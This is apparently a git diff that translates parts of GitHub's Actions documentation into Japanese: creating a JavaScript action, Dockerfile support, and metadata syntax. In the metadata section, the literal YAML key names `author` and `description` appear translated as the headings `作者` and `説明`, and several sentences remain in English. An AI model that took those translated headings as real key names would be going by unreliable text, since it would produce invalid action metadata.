+アクションのツールキットは、Node.js パッケージのコレクションで、より一貫性を保ちつつ、JavaScript を素早く作成するためのものです。
 
-The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages.
+ツールキットの [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) パッケージは、ワークフローコマンド、入力変数と出力変数、終了ステータス、およびデバッグメッセージへのインターフェースを提供します。
 
-The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts.
+このツールキットは、認証された Octokit REST クライアントと GitHub Actions コンテキストへのアクセスを返す [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) パッケージも提供します。
 
-The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+ツールキットは、`core` や `github` パッケージ以外のものも提供しています。 詳しい情報については、[actions/toolkit](https://github.com/actions/toolkit) リポジトリ以下を参照してください。
 
-At your terminal, install the actions toolkit `core` and `github` packages.
+ターミナルで、アクションツールキットの `core` および `github` パッケージをインストールします。
 
 ```shell{:copy}
 npm install @actions/core
 npm install @actions/github
 ```
 
-Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module.
+これで、`node_modules` ディレクトリと先ほどインストールしたモジュール、`package-lock.json` ファイルとインストールしたモジュールの依存関係、およびインストールした各モジュールのバージョンが表示されるはずです。
 
-## Writing the action code
+## アクションのコードの記述
 
-This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use.
+このアクションは、ツールキットを使って、アクションのメタデータファイルに必要な `who-to-greet` 入力変数を取得し、ログのデバッグメッセージに "Hello [who-to-greet]" を出力します。 次に、スクリプトは現在の時刻を取得し、それをジョブ内で後に実行するアクションが利用できる出力変数に設定します。
 
-GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log.
+GitHub Actions は、webhook イベント、Git ref、ワークフロー、アクション、およびワークフローをトリガーした人に関するコンテキスト情報を提供します。 コンテキスト情報にアクセスするために、`github` パッケージを利用できます。 あなたの書くアクションが、webhook イベントペイロードをログに出力します。
 
-Add a new file called `index.js`, with the following code.
+以下のコードで、`index.js` と名付けた新しいファイルを追加してください。
 
 {% raw %}
 ```javascript{:copy}
@@ -126,20 +126,20 @@ try {
 ```
 {% endraw %}
 
-If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+上記の `index.js` の例でエラーがスローされた場合、`core.setFailed(error.message);` はアクションツールキット [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) パッケージを使用してメッセージをログに記録し、失敗の終了コードを設定します。 詳しい情報については「[アクションの終了コードの設定](/actions/creating-actions/setting-exit-codes-for-actions)」を参照してください。
 
-## Creating a README
+## READMEの作成
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+アクションの使用方法を説明するために、README ファイルを作成できます。 README はアクションの公開を計画している時に非常に役立ちます。また、アクションの使い方をあなたやチームが覚えておく方法としても優れています。
 
-In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information:
+`hello-world-javascript-action` ディレクトリの中に、以下の情報を指定した `README.md` ファイルを作成してください。
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- アクションが実行する内容の詳細
+- 必須の入力引数と出力引数
+- オプションの入力引数と出力引数
+- アクションが使用するシークレット
+- アクションが使用する環境変数
+- ワークフローでアクションを使う使用方法の例
 
 ```markdown
 # Hello world javascript action
@@ -150,7 +150,7 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t
 
 ## `who-to-greet`
 
-**Required** The name of the person to greet. Default `"World"`.
+**Required** The name of the person to greet. デフォルトは `"World"`。
 
 ## Outputs
 
@@ -158,20 +158,20 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t
 
 The time we greeted you.
 
-## Example usage
+## 使用例
 
 uses: actions/hello-world-javascript-action@v1.1
 with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to GitHub
+## アクションの GitHub へのコミットとタグ、プッシュ
 
-{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository.
+{% data variables.product.product_name %} が、動作時にワークフロー内で実行される各アクションをダウンロードし、コードの完全なパッケージとして実行すると、ランナーマシンを操作するための`run` などのワークフローコマンドが使えるようになります。 つまり、JavaScript コードを実行するために必要なあらゆる依存関係を含める必要があります。 アクションのリポジトリに、ツールキットの `core` および `github` パッケージをチェックインする必要があります。
 
-From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory.
+ターミナルから、`action.yml`、`index.js`、`node_modules`、`package.json`、`package-lock.json`、および `README.md` ファイルをコミットします。 `node_modules` を一覧表示する `.gitignore` ファイルを追加した場合、`node_modules` ディレクトリをコミットするため、その行を削除する必要があります。
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+アクションのリリースにはバージョンタグを加えることもベストプラクティスです。 アクションのバージョン管理の詳細については、「[アクションについて](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)」を参照してください。
 
 ```shell{:copy}
 git add action.yml index.js node_modules/* package.json package-lock.json README.md
@@ -180,24 +180,19 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution.
+`node_modules` ディレクトリをチェックインすると、問題が発生する可能性があります。 別の方法として、[`@vercel/ncc`](https://github.com/vercel/ncc) というツールを使用して、コードとモジュールを配布に使用する 1 つのファイルにコンパイルできます。
 
-1. Install `vercel/ncc` by running this command in your terminal.
-  `npm i -g @vercel/ncc`
+1. ターミナルで次のコマンドを実行し、`vercel/ncc` をインストールします: `npm i -g @vercel/ncc`
 
-1. Compile your `index.js` file.
-  `ncc build index.js --license licenses.txt`
+1. 次のコマンドで、`index.js` ファイルをコンパイルします: `ncc build index.js --license licenses.txt`
 
-  You'll see a new `dist/index.js` file with your code and the compiled modules.
-  You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using.
+  コードの書かれた、新しい `dist/index.js` ファイルと、コンパイルされたモジュールが表示されます。 また、使用している `node_modules` のすべてのライセンスを含む、`dist/licenses.txt` ファイルも表示されます。
 
-1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file.
- `main: 'dist/index.js'`
+1. 新しい `dist/index.js` ファイルを利用するため、次のコマンドで `action.yml` の `main` キーワードを変更します: `main: 'dist/index.js'`
 
-1. If you already checked in your `node_modules` directory, remove it.
-  `rm -rf node_modules/*`
+1. すでに `node_modules` ディレクトリをチェックインしていた場合、次のコマンドで削除します: `rm -rf node_modules/*`
 
-1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files.
+1. ターミナルから、`action.yml`、`dist/index.js`、および `node_modules` ファイルをコミットします。
 ```shell
 git add action.yml dist/index.js node_modules/*
 git commit -m "Use vercel/ncc"
@@ -205,17 +200,17 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## ワークフローでアクションをテストする
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+これで、ワークフローでアクションをテストできるようになりました。 プライベートリポジトリにあるアクションは、同じリポジトリのワークフローでしか使用できません。 パブリックアクションは、どのリポジトリのワークフローでも使用できます。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### パブリックアクションを使用する例
 
 This example demonstrates how your new public action can be run from within an external repository.
 
-Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name.
+Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. `who-to-greet`の入力を自分の名前に置き換えることもできます。
 
 {% raw %}
 ```yaml{:copy}
@@ -239,9 +234,9 @@ jobs:
 
 When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it.
 
-### Example using a private action
+### プライベートアクションを使用する例
 
-Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name.
+ワークフローコードを、あなたのアクションのリポジトリの `.github/workflows/main.yml` ファイルにコピーします。 `who-to-greet`の入力を自分の名前に置き換えることもできます。
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -253,8 +248,8 @@ jobs:
     runs-on: ubuntu-latest
     name: A job to say hello
     steps:
-      # To use this repository's private action,
-      # you must check out the repository
+      # このリポジトリのプライベートアクションを使用するには
+      # リポジトリをチェックアウトする
       - name: Checkout
         uses: actions/checkout@v2
       - name: Hello world action step
@@ -262,18 +257,18 @@ jobs:
         id: hello
         with:
           who-to-greet: 'Mona the Octocat'
-      # Use the output from the `hello` step
+      # 「hello」ステップの出力を使用する
       - name: Get the output time
         run: echo "The time was ${{ steps.hello.outputs.time }}"
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+リポジトリから [**Actions**] タブをクリックして、最新のワークフロー実行を選択します。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}"Hello Mona the Octocat"、または `who-to-greet` 入力に指定した名前とタイムスタンプがログに出力されます。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
+![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
 {% elsif ghes %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
+![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png)
+![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run.png)
 {% endif %}
diff --git a/translations/ja-JP/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/ja-JP/content/actions/creating-actions/dockerfile-support-for-github-actions.md
index 58e2bf325b..c1fb306a90 100644
--- a/translations/ja-JP/content/actions/creating-actions/dockerfile-support-for-github-actions.md
+++ b/translations/ja-JP/content/actions/creating-actions/dockerfile-support-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Dockerfile support for GitHub Actions
+title: GitHub ActionsのためのDockerfileサポート
 shortTitle: Dockerfile support
-intro: 'When creating a `Dockerfile` for a Docker container action, you should be aware of how some Docker instructions interact with GitHub Actions and an action''s metadata file.'
+intro: Dockerコンテナアクション用の`Dockerfile`を作成する際には、いくつかのDockerの命令がGitHub Actionsやアクションのメタデータファイルとどのように関わるのかを知っておく必要があります。
 redirect_from:
   - /actions/building-actions/dockerfile-support-for-github-actions
 versions:
@@ -15,83 +15,83 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About Dockerfile instructions
+## Dockerfileの命令について
 
-A `Dockerfile` contains instructions and arguments that define the contents and startup behavior of a Docker container. For more information about the instructions Docker supports, see "[Dockerfile reference](https://docs.docker.com/engine/reference/builder/)" in the Docker documentation.
+`Dockerfile`には、Dockerコンテナの内容と起動時の動作を定義する命令と引数が含まれています。 Dockerがサポートしている命令に関する詳しい情報については、Dockerのドキュメンテーション中の「[Dockerfile のリファレンス](https://docs.docker.com/engine/reference/builder/)」を参照してください。
 
-## Dockerfile instructions and overrides
+## Dockerfileの命令とオーバーライド
 
-Some Docker instructions interact with GitHub Actions, and an action's metadata file can override some Docker instructions. Ensure that you are familiar with how your Dockerfile interacts with {% data variables.product.prodname_actions %} to prevent any unexpected behavior.
+Dockerの命令の中にはGitHub Actionsと関わるものがあり、アクションのメタデータファイルはDockerの命令のいくつかをオーバーライドできます。 予期しない動作を避けるために、Dockerfileが{% data variables.product.prodname_actions %}とどのように関わるかについて馴染んでおいてください。
 
 ### USER
 
-Docker actions must be run by the default Docker user (root). Do not use the `USER` instruction in your `Dockerfile`, because you won't be able to access the `GITHUB_WORKSPACE`. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and [USER reference](https://docs.docker.com/engine/reference/builder/#user) in the Docker documentation.
+DockerアクションはデフォルトのDockerユーザ（root）で実行されなければなりません。 `GITHUB_WORKSPACE`にアクセスできなくなってしまうので、`Dockerfile`中では`USER`命令を使わないでください。 詳しい情報については、「[環境変数の利用](/actions/configuring-and-managing-workflows/using-environment-variables)」と、Dockerのドキュメンテーション中の[USERのリファレンス](https://docs.docker.com/engine/reference/builder/#user)を参照してください。
 
 ### FROM
 
-The first instruction in the `Dockerfile` must be `FROM`, which selects a Docker base image. For more information, see the [FROM reference](https://docs.docker.com/engine/reference/builder/#from) in the Docker documentation.
+`Dockerfile`ファイル中の最初の命令は`FROM`でなければなりません。これは、Dockerのベースイメージを選択します。 詳しい情報については、Dockerのドキュメンテーション中の[FROMのリファレンス](https://docs.docker.com/engine/reference/builder/#from)を参照してください。
 
-These are some best practices when setting the `FROM` argument:
+`FROM`引数の設定にはいくつかのベストプラクティスがあります。
 
-- It's recommended to use official Docker images. For example, `python` or `ruby`.
-- Use a version tag if it exists, preferably with a major version. For example, use `node:10` instead of `node:latest`.
-- It's recommended to use Docker images based on the [Debian](https://www.debian.org/) operating system.
+- 公式のDockerイメージを使うことをおすすめします。 たとえば`python`や`ruby`です。
+- バージョンタグが存在する場合は使ってください。メジャーバージョンも含めることが望ましいです。 たとえば`node:latest`よりも`node:10`を使ってください。
+- [Debian](https://www.debian.org/)オペレーティングシステムに基づくDockerイメージを使うことをおすすめします。
 
 ### WORKDIR
 
-{% data variables.product.product_name %} sets the working directory path in the `GITHUB_WORKSPACE` environment variable. It's recommended to not use the `WORKDIR` instruction in your `Dockerfile`. Before the action executes, {% data variables.product.product_name %} will mount the `GITHUB_WORKSPACE` directory on top of anything that was at that location in the Docker image and set `GITHUB_WORKSPACE` as the working directory. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and the [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) in the Docker documentation.
+{% data variables.product.product_name %}は、ワーキングディレクトリのパスを環境変数の`GITHUB_WORKSPACE`に設定します。 `Dockerfile`中では`WORKDIR`命令を使わないことをおすすめします。 アクションが実行される前に、{% data variables.product.product_name %}は`GITHUB_WORKSPACE`ディレクトリを、Dockerイメージ内にあったその場所になにがあってもその上にマウントし、`GITHUB_WORKSPACE`をワーキングディレクトリとして設定します。 詳しい情報については「[環境変数の利用](/actions/configuring-and-managing-workflows/using-environment-variables)」と、Dockerのドキュメンテーション中の[WORKDIRのリファレンス](https://docs.docker.com/engine/reference/builder/#workdir)を参照してください。
 
 ### ENTRYPOINT
 
-If you define `entrypoint` in an action's metadata file, it will override the `ENTRYPOINT` defined in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)."
+アクションのメタデータファイル中で`entrypoint`を定義すると、それは`Dockerfile`中で定義された`ENTRYPOINT`をオーバーライドします。 詳しい情報については「[{% data variables.product.prodname_actions %}のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)」を参照してください。
 
-The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. For more information about _exec_ and _shell_ form, see the [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) in the Docker documentation.
+Dockerの`ENTRYPOINT`命令には、_shell_形式と_exec_形式があります。 Dockerの`ENTRYPOINT`のドキュメンテーションは、`ENTRYPOINT`の_exec_形式を使うことを勧めています。 _exec_および_shell_形式に関する詳しい情報については、Dockerのドキュメンテーション中の[ENTRYPOINTのリファレンス](https://docs.docker.com/engine/reference/builder/#entrypoint)を参照してください。
 
-If you configure your container to use the _exec_ form of the `ENTRYPOINT` instruction, the `args` configured in the action's metadata file won't run in a command shell. If the action's `args` contain an environment variable, the variable will not be substituted. For example, using the following _exec_ format will not print the value stored in `$GITHUB_SHA`, but will instead print `"$GITHUB_SHA"`.
+_exec_形式の`ENTRYPOINT`命令を使うようにコンテナを設定した場合、アクションのメタデータファイル中に設定された`args`はコマンドシェル内では実行されません。 アクションの`args`に環境変数が含まれている場合、その変数は置換されません。 たとえば、以下の_exec_形式は`$GITHUB_SHA`に保存された値を出力せず、代わりに`"$GITHUB_SHA"`を出力します。
 
 ```dockerfile
 ENTRYPOINT ["echo $GITHUB_SHA"]
 ```
 
- If you want variable substitution, then either use the _shell_ form or execute a shell directly. For example, using the following _exec_ format, you can execute a shell to print the value stored in the `GITHUB_SHA` environment variable.
+ 変数の置換をさせたい場合は、_shell_形式を使うか、直接シェルを実行してください。 たとえば、以下の_exec_形式を使えば、シェルを実行して環境変数`GITHUB_SHA`に保存された値を出力できます。
 
 ```dockerfile
 ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"]
 ```
 
- To supply `args` defined in the action's metadata file to a Docker container that uses the _exec_ form in the `ENTRYPOINT`, we recommend creating a shell script called `entrypoint.sh` that you call from the `ENTRYPOINT` instruction:
+ アクションのメタデータファイルに定義された`args`を、`ENTRYPOINT`中で_exec_形式を使うDockerコンテナに渡すには、`ENTRYPOINT`命令から呼ぶ`entrypoint.sh`というシェルスクリプトを作成することをおすすめします。
 
-#### Example *Dockerfile*
+#### *Dockerfile*の例
 
 ```dockerfile
-# Container image that runs your code
+# コードを実行するコンテナイメージ
 FROM debian:9.5-slim
 
-# Copies your code file from your action repository to the filesystem path `/` of the container
+# アクションのリポジトリからコードをコンテナのファイルシステムパス `/` にコピー
 COPY entrypoint.sh /entrypoint.sh
 
-# Executes `entrypoint.sh` when the Docker container starts up
+# Dockerコンテナの起動時に `entrypoint.sh` を実行
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-#### Example *entrypoint.sh* file
+#### *entrypoint.sh*ファイルの例
 
-Using the example Dockerfile above, {% data variables.product.product_name %} will send the `args` configured in the action's metadata file as arguments to `entrypoint.sh`. Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell.
+上のDockerfileを使って、{% data variables.product.product_name %}はアクションのメタデータファイルに設定された`args`を、`entrypoint.sh`の引数として送ります。 Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell.
 
 ``` sh
 #!/bin/sh
 
-# `$*` expands the `args` supplied in an `array` individually
-# or splits `args` in a string separated by whitespace.
+# `$*`は`array`内で渡された`args`を個別に展開するか、
+# 空白で区切られた文字列中の`args`を分割します。
 sh -c "echo $*"
 ```
 
-Your code must be executable. Make sure the `entrypoint.sh` file has `execute` permissions before using it in a workflow. You can modify the permission from your terminal using this command:
+コードは実行可能になっていなければなりません。 `entrypoint.sh`ファイルをワークフロー中で使う前に、`execute`権限が付けられていることを確認してください。 この権限は、ターミナルから以下のコマンドで変更できます。
   ``` sh
   chmod +x entrypoint.sh
   ```
 
-When an `ENTRYPOINT` shell script is not executable, you'll receive an error similar to this:
+`ENTRYPOINT`シェルスクリプトが実行可能ではなかった場合、以下のようなエラーが返されます。
 
 ``` sh
 Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
@@ -99,12 +99,12 @@ Error response from daemon: OCI runtime create failed: container_linux.go:348: s
 
 ### CMD
 
-If you define `args` in the action's metadata file, `args` will override the `CMD` instruction specified in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
+アクションのメタデータファイル中で`args`を定義すると、`args`は`Dockerfile`中で指定された`CMD`命令をオーバーライドします。 詳しい情報については「[{% data variables.product.prodname_actions %}のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)」を参照してください。
 
-If you use `CMD` in your `Dockerfile`, follow these guidelines:
+`Dockerfile`中で`CMD`を使っているなら、以下のガイドラインに従ってください。
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-## Supported Linux capabilities
+## サポートされているLinuxの機能
 
-{% data variables.product.prodname_actions %} supports the default Linux capabilities that Docker supports. Capabilities can't be added or removed. For more information about the default Linux capabilities that Docker supports, see "[Runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" in the Docker documentation. To learn more about Linux capabilities, see "[Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)" in the Linux man-pages.
+{% data variables.product.prodname_actions %}は、DockerがサポートするデフォルトのLinuxの機能をサポートします。 機能の追加や削除はできません。 DockerがサポートするデフォルトのLinuxの機能に関する詳しい情報については、Dockerのドキュメンテーション中の「[ Runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)」を参照してください。 Linuxの機能についてさらに学ぶには、Linuxのman-pageの"[ Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)"を参照してください。
diff --git a/translations/ja-JP/content/actions/creating-actions/index.md b/translations/ja-JP/content/actions/creating-actions/index.md
index 1d91ced73d..d88d7d4703 100644
--- a/translations/ja-JP/content/actions/creating-actions/index.md
+++ b/translations/ja-JP/content/actions/creating-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Creating actions
-intro: 'You can create your own actions, use and customize actions shared by the {% data variables.product.prodname_dotcom %} community, or write and share the actions you build.'
+title: アクションの作成
+intro: '独自のアクションを作成することも、{% data variables.product.prodname_dotcom %}コミュニティで共有されているアクションを使用し、必要に応じてカスタマイズすることも、自分でビルドするアクションを書いて共有することもできます。'
 redirect_from:
   - /articles/building-actions
   - /github/automating-your-workflow-with-github-actions/building-actions
@@ -24,5 +24,6 @@ children:
   - /releasing-and-maintaining-actions
   - /developing-a-third-party-cli-action
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/ja-JP/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/ja-JP/content/actions/creating-actions/metadata-syntax-for-github-actions.md
index 2c0ebd6eaf..c7f923dd53 100644
--- a/translations/ja-JP/content/actions/creating-actions/metadata-syntax-for-github-actions.md
+++ b/translations/ja-JP/content/actions/creating-actions/metadata-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Metadata syntax for GitHub Actions
-shortTitle: Metadata syntax
-intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
+title: GitHub Actionsのメタデータ構文
+shortTitle: メタデータ構文
+intro: リポジトリでタスクを実行するアクションを作成できます。 アクションには、YAML構文を使うメタデータファイルが必要です。
 redirect_from:
   - /articles/metadata-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
@@ -18,31 +18,31 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %}のYAML構文について
 
-Docker and JavaScript actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs and main entrypoint for your action.
+Docker及びJavaScriptアクションにはメタデータファイルが必要です。 このメタデータのファイル名は`action.yml`もしくは`action.yaml`でなければなりません。 メタデータファイル中のデータは、アクションの入力、出力、メインエントリポイントを定義します。
 
-Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+アクションのメタデータファイルはYAML構文を使います。 YAMLについて詳しくない場合は、「[Learn YAML in five minutes (5分で学ぶYAML)](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)」をお読みください。
 
 ## `name`
 
-**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
+**必須**アクションの名前。 {% data variables.product.prodname_dotcom %}は`name`を**Actions**タブに表示して、それぞれのジョブのアクションを見て区別しやすくします。
 
-## `author`
+## `作者`
 
-**Optional** The name of the action's author.
+**オプション** アクションの作者の名前。
 
-## `description`
+## `説明`
 
-**Required** A short description of the action.
+**必須** アクションの短い説明。
 
 ## `inputs`
 
-**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
+**オプション** inputsパラメーターを使うと、アクションが実行時に使うデータを指定できます。 {% data variables.product.prodname_dotcom %}は、inputsパラメータを環境変数として保存します。 大文字が使われているInputsのidは、実行時に小文字に変換されます。 inputsのidには小文字を使うことをおすすめします。
 
-### Example
+### サンプル
 
-This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
+この例では、numOctocatsとoctocatEyeColorという 2つの入力を設定しています。 入力のnumOctocatsは必須ではなく、デフォルトの値は'1'になっています。 入力のoctocatEyeColorは必須であり、デフォルト値を持ちません。 このアクションを使うワークフローのファイルは、`with`キーワードを使ってoctocatEyeColorの入力値を設定しなければなりません。 `with`構文に関する詳しい情報については「[{% data variables.product.prodname_actions %}のためのワークフローの構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)」を参照してください。
 
 ```yaml
 inputs:
@@ -55,61 +55,61 @@ inputs:
     required: true
 ```
 
-When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
+When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. 生成される環境変数では、入力の名前を大文字にして、空白を`_`に変換します。
 
-If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually. 
+If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually.
 
 To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
 
-For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
+たとえば、ワークフローで `numOctocats` および `octocatEyeColor` 入力が定義されている場合、アクションコードは `INPUT_NUMOCTOCATS` および `INPUT_OCTOCATEYECOLOR` 環境変数を使用して入力の値を読み取ることができます。
 
 ### `inputs.<input_id>`
 
-**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**必須** `文字列型`の識別子で、入力と結びつけられます。 `<input_id>`の値は、入力のメタデータのマップです。 `<input_id>`は、`inputs`オブジェクト内でユニークな識別子でなければなりません。 `<input_id>`は、文字あるいは`_`で始める必要があり、英数字、`-`、`_`しか使用できません。
 
 ### `inputs.<input_id>.description`
 
-**Required** A `string` description of the input parameter.
+**必須** 入力パラメーターの`文字列`での説明。
 
 ### `inputs.<input_id>.required`
 
-**Required** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
+**必須** この入力パラメーターがアクションに必須かどうかを示す`論理値`。 パラメーターが必須の場合は`true`に設定してください。
 
 ### `inputs.<input_id>.default`
 
-**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
